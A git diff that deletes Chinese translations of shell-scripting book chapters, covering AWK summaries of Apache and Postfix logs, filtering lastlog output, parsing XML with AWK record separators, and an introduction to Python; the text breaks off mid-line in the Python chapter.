我们应该在主块中使用变量 increment,如果我们只想计数的话: - -```sh -$ awk ' ( $4 ~ /10\/Sep\/2014/ ) { COUNT++ } END { print COUNT }' access.log -``` - -我们可以在下面的输出中看到: - -![](img/5a3b0cfe-80b4-4adf-b946-15e89e22cd86.png) - -# 总结 404 错误 - -请求页的状态码显示在日志的`9`字段中。 `404`状态将表示服务器上的页面未找到错误。 我相信我们都曾在浏览器中看到过这种情况。 这可能表明您的站点上存在配置错误的链接,或者只是浏览器搜索要在选项卡浏览器中显示的图标图像产生的。 您还可以通过查找标准页面的请求来识别站点的潜在威胁,这些标准页面可能提供对 PHP 驱动站点(如 WordPress)的额外信息的访问。 - -首先,我们可以单独打印请求的状态: - -```sh -$ awk '{ print $9 } ' access.log -``` - -现在我们可以像我们自己一样稍微扩展代码,只打印`404`错误: - -```sh -$ awk ' ( $9 ~ /404/ ) { print $9 } ' access.log -``` - -我们可以通过同时打印状态代码和正在访问的页面来进一步扩展。 这将需要我们打印字段`9`和字段`7`。 简单地说,这将如下代码所示: - -```sh -$ awk ' ( $9 ~ /404/ ) { print $9, $7 } ' access.log -``` - -许多访问失败的页面将被复制。 为了总结这些记录,我们可以使用命令管道通过`sort`和`uniq`命令来实现这一点: - -```sh -$ awk ' ( $9 ~ /404/ ) { print $9, $7 } ' access.log | sort -u -``` - -要使用`uniq`命令,数据必须预先排序; 因此,我们使用`sort`命令准备数据。 - -# 汇总 HTTP 访问码 - -现在是时候离开纯粹的命令行,开始使用 AWK 控制文件了。 与往常一样,当所需结果集的复杂性增加时,我们会看到`awk`代码的复杂性也会增加。 我们将在当前目录中创建一个`status.awk`文件。 该文件应该类似以下文件: - -```sh -{ record[$9]++ } -END { -for (r in record) -print r, " has occurred ", record[r], " times." } -``` - -首先,我们将剥离主要代码块,这是非常简单和稀疏的。 这是一种简单的方法来计算状态码的每个唯一出现。 我们没有使用简单的变量,而是将其输入数组。 在本例中,数组称为记录。 数组是一个多值变量,数组中的槽称为键。 数组中存储了一组变量。 例如,我们希望看到`record[200]`和`record[404]`的条目。 我们用它们的出现计数填充每个键。 每当我们找到一个`404`代码,我们就增加存储在相关键中的计数: - -```sh -{ record[$9]++ } -``` - -在`END`块中,我们使用`for`循环创建汇总信息,以打印出数组中的每个键和值: - -```sh -END { -for (r in record) -print r, " has occurred ", record[r], " times." } -``` - -要运行它,相关的命令行将类似如下: - -```sh -$ awk -f status.awk access.log -``` - -为了查看命令和输出,我们包含了以下截图: - -![](img/979b1d94-c4a5-47df-a82e-101b6c030214.png) - -我们可以更进一步,把重点放在`404`错误上。 当然,您可以选择任何状态码。 从结果可以看出,我们有`4382 404`状态码。 为了总结这些`404`代码,我们将`status.awk`复制到一个名为`404.awk`的新文件中。 我们可以编辑`404.awk`,添加`if`语句,以便只在`404`代码上工作。 该文件应该类似于以下代码: - -```sh -{ if ( $9 == "404" ) - record[$9,$7]++ } -END { -for (r in record) -print r, " has occurred ", record[r], " times." } -``` - -如果我们用下面的命令执行代码: - -```sh -$ awk -f 404.awk access.log -``` - -输出将类似如下截图: - -![](img/a26e123c-4f6c-49d1-a770-3e239e236898.png) - -# 资源打 - -你可以使用 AWK 检查一个特定页面或资源被请求了多少次: - -```sh -$ awk '{print $7}' access.log | sort | uniq -c | sort -rn -``` - -前面的命令将请求的资源从最高的排序到最低的: - -![](img/407e25dc-56a9-4b51-bffb-34a501f600ae.png) - -这些资源可以是图像、文本文件或 CSS 文件。 - -如果你想查看请求的 PHP 文件,你可以使用`grep`只获取 PHP 文件: - -```sh -$ awk ' ($7 ~ /php/) {print $7}' access.log | sort | uniq -c | sort -nr -``` - -![](img/029c03ca-516f-449d-a193-880605109e0e.png) - -在每个页面旁边,都有点击次数。 - -您可以从`log`文件中获取任何统计数据,并获得惟一值,并以相同的方式对它们进行排序。 - -# 识别图像盗链 - -当我们谈论资源时,你可能会面临一个问题,就是图片盗链。 它是关于使用你的图像从其他服务器链接到他们。 图像盗链的这种行为会泄漏您的带宽。 - -既然我们在谈论 AWK,我们将看到如何使用 AWK 来找出它如何使用我们的图像: - -```sh -$ awk -F\" '($2 ~ /\.(png|jpg|gif)/ && $4 !~ /^https:\/\/www\.yourdomain\.com/){print $4}' access.log | sort | uniq -c | sort -``` - -注意,如果你正在使用 Apache,你可以通过一个小的`.htaccess`文件来阻止图片盗链,通过检查 referrer 是否不是你的域: - -```sh -RewriteEngine on -RewriteCond %{HTTP_REFERER} !^$ -RewriteCond %{HTTP_REFERER} !^https://(www\.)yourdomain.com/.*$ [NC] -RewriteRule \.(gif|jpg|jpeg|bmp|png)$ - [F] -``` - -# 显示排行最高的 IP 地址 - -现在您应该意识到`awk`的一些功能以及语言结构本身是多么庞大。 我们能够从 30000 行文件中生成的数据非常强大,而且很容易提取。 我们只需要用`$1`替换之前使用过的字段 此字段表示客户端 IP 地址。 如果我们使用下面的代码,我们将能够打印每个 IP 地址,以及它已经被用来访问 web 服务器的次数: - -```sh -{ ip[$1]++ } -END { -for (i in ip) -print i, " has accessed the server ", ip[i], " times." } -``` - -我们希望能够扩展它,只显示排名最高的 IP 地址,也就是访问站点使用最多的地址。 同样,该工作将主要在`END`块中,并将利用与当前最高排名地址的比较。 可以创建以下文件并保存为`ip.awk`: - -```sh -{ ip[$1]++ } -END { -for (i in ip) - if ( max < ip[i] ) { - max = ip[i] - maxnumber = i } - -print i, " has accessed ", ip[i], " times." } -``` - -我们可以在下面的屏幕截图中看到该命令的输出。 部分客户端 IP 地址已经被遮挡,因为它是从我的公共 web 服务器: - -![](img/b821d655-ea19-4f24-8550-2dd28c60b366.jpg) - -代码的功能来自`END`块。 在进入`END`块时,我们将进入一个`for`循环。 我们遍历`ip`数组中的每个条目。 我们使用条件语句`if`来查看正在迭代的当前值是否高于当前最大值。 如果是,这将成为新的最高条目。 当`loop`完成后,我们打印拥有最高条目的 IP 地址。 - -# 显示浏览器数据 - -用于访问该网站的浏览器包含在日志文件的字段`12`中。 显示用于访问站点的浏览器列表可能会很有趣。 下面的代码将帮助您显示所报告的浏览器的访问列表: - -```sh -{ browser[$12]++ } -END { - for ( b in browser ) - print b, " has accessed ", browser[b], " times." - } -``` - -您可以看到如何使用这些文件为`awk`创建小插件,并调整字段和数组名称以适应。 输出如下截图所示: - -![](img/8c801f02-d3dc-4623-8779-435026722d5a.png) - -有趣的是,我们看到 Mozilla 4 和 Mozilla 5 构成了请求客户机的大部分。 我们看到 Mozilla 4 在这里列出了`1713`次。 这里的 Mozilla/5.0 条目有一个畸形的双引号。 之后出现了 27000 次访问。 - -# 使用电子邮件日志 - -我们已经处理了来自 Apache HTTP web 服务器的日志。 事实上,我们可以将相同的理念和方法应用于任何日志文件。 我们将看看 Postfix 邮件日志。 邮件日志保存了来自 SMTP 服务器的所有活动,然后我们可以看到谁向谁发送了电子邮件。 日志文件通常位于`/var/log/mail.log`。 我将在我的 Ubuntu 15.10 服务器上访问它,那里有一个本地邮件发送。 这意味着 STMP 服务器只监听`127.0.0.1`的本地主机接口。 - -根据消息的类型,日志格式会有一点变化。 例如,`$7`将包含出站消息上的`from`日志,而入站消息将包含`to`日志。 - -如果我们想要列出所有发送到 SMTP 服务器的入站消息,我们可以使用以下命令: - -```sh -$ awk ' ( $7 ~ /^to/ ) ' /var/log/mail.log -``` - -由于字符串`to`非常短,我们可以通过使用`^`确保字段以`to`开始,从而向其添加标识。 命令和输出如下截图所示: - -![](img/2b73c3f8-6754-47d5-8092-c7885c69ab43.png) - -可以很容易地扩展`to`或`from`搜索以包含用户名。 我们可以看到发送或接收邮件的格式。 使用与 Apache 日志相同的模板,我们可以轻松地显示最高的接收方或发送方。 - -# 总结 - -现在,我们的文本处理背后有一些强大的弹药,我们可以开始理解 AWK 的强大。 使用真实数据在测量搜索的性能和准确性方面特别有用。 在新安装的 Ubuntu 15.10 Apache web 服务器上开始使用简单的 Apache 条目后,我们很快就从一个实时 web 服务器迁移到更大的示例数据。 这个文件有 3 万行,给我们提供了一些真正的素材,很快,我们就能写出可信的报告。 我们结束了对 Ubuntu 15.10 服务器的返回,以分析 Postfix SMTP 日志。 我们可以看到,我们可以将以前使用过的技术拖放到新的日志文件中。 - -接下来,我们继续使用 AWK,看看如何报告`lastlog`数据和平面 XML 文件。 - -# 问题 - -1. `access_log`文件中的哪个字段包含 IP 地址? -2. 用来计算 AWK 处理的行数的命令是什么? -3. 如何从 Apache 访问日志文件中获得唯一访问者的 IP 地址? -4. 如何从 Apache 访问日志文件中获得访问次数最多的 PHP 页面? - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://httpd.apache.org/docs/1.3/logs.html](https://httpd.apache.org/docs/1.3/logs.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/13.md b/docs/master-linux-shell-script/13.md deleted file mode 100644 index dbf2bf29..00000000 --- a/docs/master-linux-shell-script/13.md +++ /dev/null @@ -1,256 +0,0 @@ -# 十三、比 AWK 更好的`lastlog` - -我们已经在[第 12 章](12.html)、*AWK 日志汇总*中看到,我们如何从纯文本文件中挖掘大量数据,创建复杂的报告。 类似地,我们可以使用标准命令行工具(如`lastlog`工具)的输出创建大量的报告。 `lastlog`本身可以报告所有用户的最后一次登录时间。 但是,我们通常希望过滤`lastlog`的输出。 也许您需要排除从未用于登录系统的用户帐户。 它也可能与报告`root`无关,因为该帐户可能主要用于`sudo`,而不是用于标准登录的定期记录。 - -在本章中,我们将使用`lastlog`并格式化 XML 数据。 由于这是我们研究 AWK 的最后一章,我们将配置记录分隔符。 我们已经在 AWK 中看到了字段分隔符的使用,但是我们可以将默认的记录分隔符从换行符改为更符合我们需要的东西。 更具体地说,在本章中,我们将涵盖: - -* 使用 AWK 范围来排除数据 -* 基于字段数量的条件 -* 操作 AWK 记录分隔符来报告 XML 数据 - -# 技术要求 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter13](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter13) - -# 使用 AWK 范围来排除数据 - -到目前为止,在本书中,我们主要研究了包含`sed`或`awk`范围的数据。 使用这两种工具,我们可以否定范围,从而排除指定的行。 为了更好地解释,我们将使用`lastlog`命令的输出。 这将打印所有用户的所有登录数据,包括从未登录过的帐户。 这些从未登录过的帐户可能是服务帐户,也可能是迄今尚未登录到系统的新用户的帐户。 - -# lastlog 命令 - -如果我们看一下`lastlog`的输出,当它没有任何选项时,我们就可以开始理解这个问题了。 在命令行中,我们以标准用户的身份执行命令。 不需要将其作为根帐户运行。 命令示例如下: - -```sh -$ lastlog -``` - -部分输出如下截图所示: - -![](img/e5e1aa3f-c1b1-4ff9-91c6-4ab01b427a3e.png) - -我们可以看到,甚至从这个有限的输出,我们有一个杂乱的输出,因为虚拟噪音是由帐户创建的,没有登录。 使用`lastlog`选项可以在一定程度上减轻这一问题,但可能不能完全解决该问题。 为了演示这一点,我们可以在`lastlog`中添加一个选项,只显示标准用户,并过滤掉其他系统和服务用户。 这在您的系统上可能有所不同,但在我使用的示例 CentOS 6 主机上,第一个用户将是 UID 500。 在 CentOS 7 上,标准用户的 UID 从 1000 开始。 - -如果使用`lastlog -u 500-5000`命令,我们将只打印 UID 在此范围内的用户的数据。 在这个简单的演示系统上,我们只有三个用户帐户,其输出是可以接受的。 然而,我们可以理解,由于这些帐户还没有被使用,我们可能仍然有一些混乱。 如下截图所示: - -![](img/a5d841e5-a646-4048-be7b-b7342e77a971.png) - -除了从`Never logged in`帐户打印的多余数据外,我们可能只对`Username`和`Latest`字段感兴趣。 这是支持使用 AWK 作为数据过滤器的另一个原因。 通过这种方式,我们可以同时提供水平和垂直数据过滤、行和列。 - -# 用 AWK 水平过滤行 - -为了使用 AWK 提供这种过滤,我们将把数据从`lastlog`直接管道到`awk`。 我们将使用一个简单的控制文件,最初提供水平过滤或减少我们看到的行。 首先,命令管道将像下面的命令示例一样简单: - -```sh -$ lastlog | awk -f lastlog.awk -``` - -当然,复杂性是从命令行中抽象出来的,并隐藏在我们使用的控制文件中。 最初,控制文件保持简单,如下所示: - -```sh -!(/Never logged in/ || /^Username/ || /^root/) { - print $0; -} -``` - -正如我们前面看到的,范围被设置在主代码块之前。 在圆括号前面使用感叹号来否定或反转所选范围。 双竖条充当逻辑上的`OR`。 我们不包括包含`Never logged in`的行,也不包括以`Username`开头的行。 这将删除由`lastlog`打印的标题行。 最后,我们从显示中排除根帐户。 这将启动我们要处理的行,主代码块将打印这些行。 - -# 计算匹配的行 - -我们可能还想计算过滤器返回的行数。 例如,使用内部变量`NR`将显示所有行,而不仅仅是匹配的行; 为了能够报告已经登录的用户数量,我们必须使用我们自己的变量。 下面的代码将维护我们命名为`cnt`的变量中的计数。 对于主代码块的每次迭代,我们使用 C 风格`++`增加该值。 - -我们可以使用`END`代码块来显示该变量的结束值: - -```sh -!(/Never logged in/ || /^Username/ || /^root/) { - cnt++ - print $0; -} -END { - print "========================" - print "Total Number of Users Processed: ", cnt -} -``` - -我们可以看到下面的代码和输出如何在我的系统上出现: - -![](img/5e652e26-f2d1-4e8d-bc1a-6cce1fc1e14f.png) - -从显示输出中,我们现在可以看到,我们只显示已登录的用户,在本例中,它只是单个用户。 然而,我们也可能决定进一步抽象数据,只显示匹配行的某些字段。 这应该是一个简单的任务,但它很复杂,因为字段的数量将根据登录的执行方式而变化。 - -# 基于字段数量的条件 - -如果用户直接登录到服务器的物理控制台,而不是通过远程或图形化伪终端登录,那么`lastlog`输出将不显示主机字段。 为了演示这一点,我已经直接登录到我的 CentOS 主机上的`tty1`控制台,并避免使用 GUI。 前一个 AWK 控制文件的输出显示,我们现在有用户`tux`和`bob`; `bob`虽然缺乏主机字段,因为他是连接到一个控制台: - -![](img/03832b05-a56d-4a9b-afd8-32169cf5ca23.png) - -虽然这本身不是一个问题,但如果我们想过滤字段,并且在某些行中删除某个字段时,两行的字段号会发生变化,那么就会有问题。 对于`lastlog,`,对于大多数连接,我们将有`9`字段,而对于那些直接连接到服务器控制台的连接,只有`8`字段。 应用的目标是打印用户名和日期,而不是最后一次登录的时间。 我们还将在`BEGIN`块中打印我们自己的页眉。 为了确保使用正确的位置,我们需要使用`NF`内部变量计算每行中的字段。 - -对于`8`字段的行,我们希望打印字段`1`、`4`、`5`和`8`; 对于带有附加主机信息的较长的行,我们将使用字段`1`,`5`,`6`和`9`。 我们还将使用`printf`来正确对齐列数据。 控制文件应该被编辑,如下例所示: - -```sh -BEGIN { -printf "%8s %11s\n","Username","Login date" -print "====================" -} -!(/Never logged in/ || /^Username/ || /^root/) { -cnt++ -if ( NF == 8 ) - printf "%8s %2s %3s %4s\n", $1,$5,$4,$8 - -else - printf "%8s %2s %3s %4s\n", $1,$6,$5,$9 -} -END { -print "====================" -print "Total Number of Users Processed: ", cnt -} -``` - -我们可以在下面的屏幕截图中看到这个命令和它产生的输出。 我们可以看到如何基于我们想要关注的信息创建一个更合适的显示: - -![](img/4470b002-4a96-43a5-b3e6-bae9bce56b27.png) - -如果我们看一下输出,我选择在月份之前显示日期,所以我们不按数字顺序显示字段。 当然,这是一个个人的选择,并且可以根据您认为数据应该显示的方式进行定制。 - -我们可以将我们在`lastlog`控制文件中看到的原则用于任何命令的输出,并且您应该练习使用您想要过滤数据的命令。 - -# 操作 AWK 记录分隔符来报告 XML 数据 - -到目前为止,虽然我们一直在使用 AWK,但我们限制自己只处理单独的行,每个新行代表一个新记录。 尽管这通常是我们想要的,在我们处理带标记的数据时,例如 XML,单个记录可能跨越多行。 在这种情况下,我们可能需要设置分隔符`RS`或`record`内部变量。 - -# Apache 虚拟主机 - -在第 9 章,*自动化 Apache 虚拟主机*中,我们使用了**Apache 虚拟主机**。 它使用标记的数据来定义每个虚拟主机的开始和结束。 尽管我们倾向于将每个虚拟主机存储在其自己的文件中,但它们可以合并成一个单独的文件。 考虑以下文件,它存储了可能的虚拟主机定义; 可以存储为`virtualhost.conf`文件,如下所示: - -```sh - -DocumentRoot /www/example -ServerName www.example.org -# Other directives here - - - -DocumentRoot /www/theurbanpenguin -ServerName www.theurbanpenguin.com -# Other directives here - - - -DocumentRoot /www/packt -ServerName www.packtpub.com -# Other directives here - -``` - -我们在一个文件中有三个虚拟主机。 每个记录由一个空行分隔,这意味着我们有两个新行字符,逻辑上分隔每个条目。 我们将通过设置变量`RS`向 AWK 解释这一点:`RS="\n\n"`。 有了这些,我们就可以打印所需的虚拟主机记录。 这将在控制文件的`BEGIN`代码块中进行设置。 - -我们还需要在命令行中动态搜索所需的主机配置。 我们将其构建到控制文件中。 控制文件应该类似如下代码: - -```sh -BEGIN { RS="\n\n" ; } -$0 ~ search { print } -``` - -`BEGIN`块设置变量,然后我们移动到范围。 设置范围以便记录(`$0`)匹配`search`变量(`~`)。 我们必须在执行`awk`时设置变量。 下面的命令演示了控制文件和配置文件在工作目录中的命令行执行: - -```sh -$ awk -f vh.awk search=packt virtualhost.conf -``` - -我们可以通过下面截图中的命令和输出更清楚地看到这一点: - -![](img/44905680-8349-437a-b642-1cda2008fa5b.png) - -# XML 目录 - -我们可以将其进一步扩展到 XML 文件中,在这些文件中,我们可能不希望显示完整的记录,而只是显示某些字段。 考虑以下产品`catalog`: - -```sh - - -drill -99 -5 - - - -hammer -10 -50 - - - -screwdriver -5 -51 - - - -table saw -1099.99 -5 - - -``` - -从逻辑上讲,每个记录都像以前一样用空行分隔。 每个字段都更详细一些,我们需要使用如下的分隔符:`FS="[><]"`。 我们将开始或结束尖括号定义为字段分隔符。 - -为了帮助分析这一点,我们可以打印如下单个记录: - -```sh -top95 -``` - -每个角大括号是一个字段分隔符,这意味着我们将有一些空字段。 我们可以将这一行重写为 CSV 文件: - -```sh -,product,,name,top,/name,,price,9,/price,,stock,5,/stock,,/product, -``` - -我们用逗号替换每个尖括号; 这样我们就更容易阅读。 我们可以看到字段`5`的内容就是`top`的值。 - -当然,我们不会编辑 XML 文件,我们将保留 XML 格式。 这里的转换只是为了强调如何读取字段分隔符。 - -下面的代码示例说明了用于从 XML 文件中提取数据的控制文件: - -```sh -BEGIN { FS="[><]"; RS="\n\n" ; OFS=""; } -$0 ~ search { print $4 ": " $5, $8 ": " $9, $12 ": " $13 } -``` - -在`BEGIN`代码块中,我们按照前面讨论的那样设置`FS`和`RS`变量。 我们还将**输出字段分隔符**(`OFS`)或设置为空格。 这样,当我们打印字段时,我们用空格分隔值,而不是用尖括号隔开。 该范围使用了与我们之前查看虚拟主机时相同的匹配。 - -如果我们需要从`catalog`中搜索产品钻取,我们可以在以下示例中使用命令: - -```sh -$ awk -f catalog.awk search=drill catalog.xml -``` - -具体输出如下截图所示: - -![](img/86b9bef1-16e5-489b-8d1b-5995016e46b3.png) - -现在,我们已经能够获取一个相当混乱的 XML 文件,并从目录中创建可读的报告。 AWK 的力量再次被强调,对我们来说,这是本书的最后一次。 到现在为止,我希望你也能开始经常使用这个方法。 - -# 总结 - -我们在三章中使用了 AWK,从第 10 章、*AWK 基础*中的一些基本用法开始,在这些章节中我们逐渐熟悉了 AWK。 在[第 12 章](12.html)、*AWK 日志总结*中,我们开始构建定制的应用。 - -具体地说,在本章中,我们看到了如何从标准命令(如`lastlog`)的输出创建报告。 我们看到,我们可以否定范围,并额外地使用`OR`语句。 然后,我们构建了一个允许查询 XML 数据的应用。 - -在接下来的两章中,我们将从 shell 脚本转移到使用 perl 和 Python 的脚本,以便比较这些脚本语言并做出适当的选择。 - -# 问题 - -1. 我们如何获取那些从未登录过系统的用户? -2. 在前面的问题中,如何计算从未登录的用户数量? -3. 下面的命令将打印多少行? - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://linux.die.net/man/8/lastlog](https://linux.die.net/man/8/lastlog) -* [https://en.wikipedia.org/wiki/Lastlog](https://en.wikipedia.org/wiki/Lastlog) \ No newline at end of file diff --git a/docs/master-linux-shell-script/14.md b/docs/master-linux-shell-script/14.md deleted file mode 100644 index 92358f0f..00000000 --- a/docs/master-linux-shell-script/14.md +++ /dev/null @@ -1,312 +0,0 @@ -# 十四、使用 Python 作为 Bash 脚本的替代方案 - -在前一章中,我们看到了一个使用 AWK 的实例,并了解了如何处理`lastlog`输出以产生更好的报告。 在本章中,我们将看看 bash 的另一种脚本替代方案。 我们将讨论 Python。 Python 是另一种脚本语言,也是到目前为止我们所了解的最新的脚本语言。 与 bash 类似,Python 是一种解释语言,并使用了 shebang。 虽然它没有 shell 接口,但是我们可以访问一个名为 REPL 的控制台,在那里我们可以输入 Python 代码来与系统交互。 在本章中,我们将涵盖以下主题: - -* Python 是什么? -* 用 Python 的方式说 Hello World -* 神谕的参数 -* 重要的空白 -* 阅读用户输入 -* 字符串操作 - -# 技术要求 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter14](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter14) - -# Python 是什么? - -Python 是一种面向对象的解释语言,它被设计为易于使用和帮助**快速应用开发**。 这是通过使用语言中的简化语义来实现的。 - -Python 是由荷兰开发人员 Guido van Rossum 在 20 世纪 80 年代末 1989 年 12 月底创建的。 语言的大部分设计目标是清晰和简单,Python 的*Zen 的主要规则之一是:* - -应该有一种,最好只有一种,明显的方法去做这件事。 - -通常系统会同时安装 Python 2 和 Python 3; 然而,所有更新的发行版都在切换到 Python 3。 我们将使用 Python 3。 - -因为我们使用的是 Linux Mint,所以它已经随 Python 3 一起发布了。 - -如果你使用的是其他 Linux 发行版,或者找不到 Python 3,你可以这样安装: - -* 基于 RedHat 的发行版: - -```sh -$ sudo yum install python36 -``` - -* 关于基于 Debian 的发行版: - -```sh -$ sudo apt-get install python3.6 -``` - -虽然没有 shell,但我们可以使用 repr -读取、计算、打印和循环与 Python 交互。 我们可以通过在命令行中输入`python3`或`python36`(如果您使用的是 CentOS 7)来访问它。 你应该会看到类似下面的截图: - -![](img/f6f4a369-5ad2-417f-b7f3-c8c5d2f9c8f4.png) - -我们可以看到出现了`>>>`提示符,这被称为 REPL 控制台。 我们应该强调,这是一种脚本语言,像 bash 和 Perl 一样,我们通常会通过创建的文本文件执行代码。 这些文本文件的名称通常有一个`.py`后缀。 - -在使用 REPL 时,我们可以通过导入模块来独立打印版本。 在 Perl 中,我们将使用关键字; 在 bash 中,我们将使用命令源; 在 Python 中我们使用 import: - -```sh ->>>import sys -``` - -加载模块后,我们现在可以通过打印版本来研究 Python 的面向对象特性: - -```sh ->>> sys.version -``` - -我们将导航到命名空间中的`sys`对象,并从该对象调用 version 方法。 - -结合这两个命令,我们应该看到以下输出: - -![](img/244aaa63-2f2c-41d0-a43b-db41ce9bb335.png) - -为了结束这一节的 Python 描述,我们应该看一下 Python 的禅。 在 REPL 中,我们可以输入`import this`,如下截图所示: - -![](img/ee86f25a-9032-4709-918a-7890a7e289aa.png) - -这不仅仅是 Python 的禅宗; 它实际上是所有编程语言的一个好规则,也是开发人员的一个指南。 - -最后,要关闭 REPL,我们在 Linux 系统中使用*Ctrl*+*D*,在 Windows 系统中使用*Ctrl*+*Z*。 - -# 用 Python 的方式说 Hello World - -我们用 Python 编写的代码应该清晰整洁:稀疏比密集好。 我们将需要第一行的 shebang,然后是`print`语句。 `print`函数包含换行符,并且在行尾不需要分号。 我们可以在下面的例子中看到编辑的`$HOME/bin/hello.py`版本: - -```sh -#!/usr/bin/python3 -print("Hello World") -``` - -我们仍然需要添加执行权限,但是我们可以像前面那样使用`chmod`运行代码。 下面的命令显示了这一点,但我们现在应该已经习惯了: - -```sh -$ chmod u+x $HOME/bin/hello.py -``` - -最后,我们现在可以执行代码来查看问候。 - -类似地,你可以使用 Python 解释器从命令行运行该文件,如下所示: - -```sh -$ python3 $HOME/bin/hello.py -``` - -或者在一些 Linux 发行版中,你可以这样运行它: - -```sh -$ python36 $HOME/bin/hello.py -``` - -再说一遍,知道至少一种语言会让你更容易适应其他语言,而且这里面并没有很多新特性。 - -# 神谕的参数 - -现在我们应该知道,我们想要将命令行参数传递给 Python,我们可以使用`argv`数组来实现这一点。 然而,我们更像 bash; 在 Python 中,我们将程序名和其他参数合并到数组中。 - -Python 在对象名中也使用小写而不是大写: - -* `argv`数组是`sys`对象的一部分 -* `sys.argv[0]`为脚本名 -* `sys.argv[1]`是提供给脚本的第一个参数 -* `sys.argv[2]`是第二个提供的参数,以此类推 -* 参数计数将始终至少为 1,因此,在检查提供的参数时要记住这一点 - -# 提供的参数 - -如果我们创建了`$HOME/bin/args.py`文件,我们就可以看到它的作用。 该文件应该创建如下,并使其可执行: - -```sh -#!/usr/bin/python3 -import sys -print("Hello " + sys.argv[1]) -``` - -如果我们使用提供的参数运行脚本,我们应该会看到类似以下截图的结果: - -![](img/9f8f5f9c-a8b6-49eb-a3ef-71fe4a6f2b59.png) - -我们的代码仍然非常干净和简单; 然而,您可能已经注意到,我们不能将`print`语句中引用的文本与实参结合起来。 我们使用+符号将两个字符串连接在一起。 由于没有特定的符号来表示变量或任何其他类型的对象,它们不能以引号内的静态文本的形式出现。 - -# 计算参数 - -如前所述,脚本名是数组索引`0`处的第一个参数。 所以,如果我们试图计数参数,那么计数应该总是最少为 1。 换句话说,如果我们没有提供参数,则参数计数将为 1。 要计数数组中的项,可以使用`len()`函数。 - -如果我们编辑脚本来包含一个新行,我们会看到这样的工作,如下所示: - -```sh -#!/usr/bin/python3 -import sys -print("Hello " + sys.argv[1]) -print( "length is: " + str(len(sys.argv)) ) -``` - -像前面那样执行代码,可以看到我们提供了两个参数——脚本名和字符串`Mokhtar`: - -![](img/14f2ceb6-5e31-4896-a472-2e53ee8febc5.png) - -如果我们尝试使用单个`print`语句来打印输出和参数数量,那么它将产生错误,因为我们无法将整数与字符串连接起来。 长度值是一个整数,在没有转换的情况下不能与字符串混合。 这就是为什么我们使用`str`函数将整数转换为字符串。 下面的代码将失败: - -```sh -#!/usr/bin/python3 -import sys -print("Hello " + sys.argv[1] + " " + len(sys.argv)) -``` - -![](img/586821ef-3beb-4361-ba75-a15d1f8a3c39.png) - -如果我们尝试运行脚本并忽略提供参数,那么当我们引用索引`1`时,数组中将会有一个空值。 这将给出一个错误,如下面的截图所示: - -![](img/3bcebb19-f36c-4b3e-8385-92cda7f2c297.png) - -我们当然需要处理这个以防止错误; 输入重要空格的概念。 - -# 重要的空白 - -Python 和大多数其他语言之间的一个主要区别是,额外的空格可能意味着某些东西。 代码的缩进级别定义了它所属的代码块。 到目前为止,我们还没有将创建的代码缩进到行首之后。 这意味着所有的代码都处于相同的缩进级别,并且属于相同的代码块。 我们没有使用大括号或 do 和 done 关键字来定义代码块,而是使用缩进。 如果缩进使用两个或四个空格甚至制表符,则必须坚持使用这些空格或制表符。 当我们返回到前一个缩进级别时,我们返回到前一个代码块。 - -这看起来很复杂,但实际上非常简单,并保持您的代码干净整洁。 如果我们编辑`arg.py`文件以防止不受欢迎的错误,如果没有提供参数,我们可以在实际操作中看到: - -```sh -#!/usr/bin/python3 -import sys -count = len(sys.argv) -if ( count > 1 ): - print("Arguments supplied: " + str(count)) - print("Hello " + sys.argv[1]) -print("Exiting " + sys.argv[0]) -``` - -`if`语句检查参数计数是否大于`1`。 为了方便起见,我们现在存储参数 count 有它自己的变量,我们称之为`count`。 代码块以冒号开始,然后所有以下缩进四个空格的代码将在条件返回 true 时执行。 - -当我们返回到前一个缩进级别时,我们返回到主代码块,不管条件的状态如何,我们都执行代码。 - -我们可以在下面的截图中看到这一点,在这里我们可以执行带参数和不带参数的脚本: - -![](img/5442796d-3c11-4c49-88ad-32943ce706a0.png) - -# 阅读用户输入 - -如果我们希望欢迎消息以名称欢迎我们,无论是否为脚本提供参数,我们都可以在脚本运行时添加一个提示来捕获数据。 Python 使这变得简单和容易实现。 我们可以看到,从下面的截图中显示的编辑文件,这是如何实现的: - -![](img/73f82bf9-3d49-406b-a5b8-8769a66edd85.png) - -我们在脚本中使用了一个新变量,该变量最初在主块中设置为一个空字符串。 我们在这里设置它,使该变量可用于完整的脚本和所有代码块: - -![](img/055b7509-1ee2-44ea-91a3-7ebf5d557ee2.png) - -Python 3 中的`input`函数(或 Python 2 中的`raw_input`函数)可用于获取用户输入。 我们将输入存储在`name`变量中。 如果我们提供了一个参数,我们将在`else`块中的代码中选取它,并将`name`变量设置为第一个提供的参数。 在主块的`print`语句中使用的就是这个。 - -# 使用 Python 写入文件 - -为了给本章增加一些变化,我们现在来看看如何将这些数据打印到一个文件中。 同样使用 Python,这是一种非常简单的方法。 我们将从复制现有的`args.py`开始。 我们将此复制到`$HOME/bin/file.py`。 新的`file.py`应该类似如下截图,并且有执行权限集: - -![](img/c2073b52-8953-4dfe-979d-8873f725f54a.png) - -您会注意到,我们刚刚修改了最后几行,现在我们打开了一个文件,而不是打印。 我们还看到了 Python 更多面向对象的特性,它动态地将`write()`和`close()`方法分配给对象日志,因为它被视为一个文件的实例。 当我们打开文件时,我们打开它的目的是追加,这意味着如果现有内容已经存在,我们不会覆盖它。 如果文件不在那里,我们将创建一个新文件。 如果我们使用`w`,我们将打开文件进行写入,这可能会转化为覆盖,所以要小心。 - -你可以看到这是一个简单的任务; 这就是为什么 Python 在许多应用中被使用,并且在学校中被广泛教授。 - -# 字符串操作 - -在 Python 中处理字符串非常简单:你可以轻松地搜索、替换、改变字符大小写和执行其他操作: - -要搜索一个字符串,你可以像这样使用 find 方法: - -```sh -#!/usr/bin/python3 -str = "Welcome to Python scripting world" -print(str.find("scripting")) -``` - -![](img/409cba04-6f75-4ced-a2a0-f51c08178b79.png) - -Python 中的字符串计数也是从零开始的,所以单词`scripting`的位置是`18`。 - -你可以像这样用方括号得到一个特定的子字符串: - -```sh -#!/usr/bin/python3 -str = "Welcome to Python scripting world" -print(str[:2]) # Get the 